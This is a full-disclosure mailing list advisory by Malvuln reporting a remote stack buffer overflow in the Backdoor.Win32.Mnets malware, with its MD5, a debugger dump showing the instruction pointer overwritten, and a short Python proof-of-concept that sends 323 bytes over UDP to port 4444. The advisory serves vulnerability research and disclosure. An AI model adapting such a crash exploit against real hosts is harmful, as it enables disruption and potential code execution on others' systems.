full-disclosure - [FD] Backdoor.Win32.Mnets / Remote Stack Buffer Overflow

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Date: Sat, 16 Jan 2021 22:55:18 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Mnets / Remote Stack Buffer Overflow - (UDP
	Datagram Proto)

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/1e42493dcef54a62bc28e0a1338c1142.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Mnets
Vulnerability: Remote Stack Buffer Overflow - (UDP Datagram Proto)
Description: The backdoor listens for commands on UDP ports 2222 and
4444. Sending a mere 323 bytes we can overwrite the instruction
pointer (EIP), potentially giving us program execution flow over the
remote Malware.
Type: PE32
MD5: 1e42493dcef54a62bc28e0a1338c1142
Vuln ID: MVID-2021-0031
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/16/2021

Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 41414141
EDX : 773E9D70     ntdll.773E9D70
EBP : 000A1488
ESP : 000A1468
ESI : 00000000
EDI : 00000000
EIP : 41414141

This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(1afc.f24): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1468 ebp=000a1488 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=4444

def doit():
    #UDP Protocol
    s=socket(AF_INET, SOCK_DGRAM)
    s.connect((MALWARE_HOST, PORT))

    PACKEE = "A"*323

    s.send(PACKEE)
    s.close()

    print("Backdoor.Win32.Mnets / Remote Stack Buffer Overflow");
    print("MD5: 1e42493dcef54a62bc28e0a1338c1142");
    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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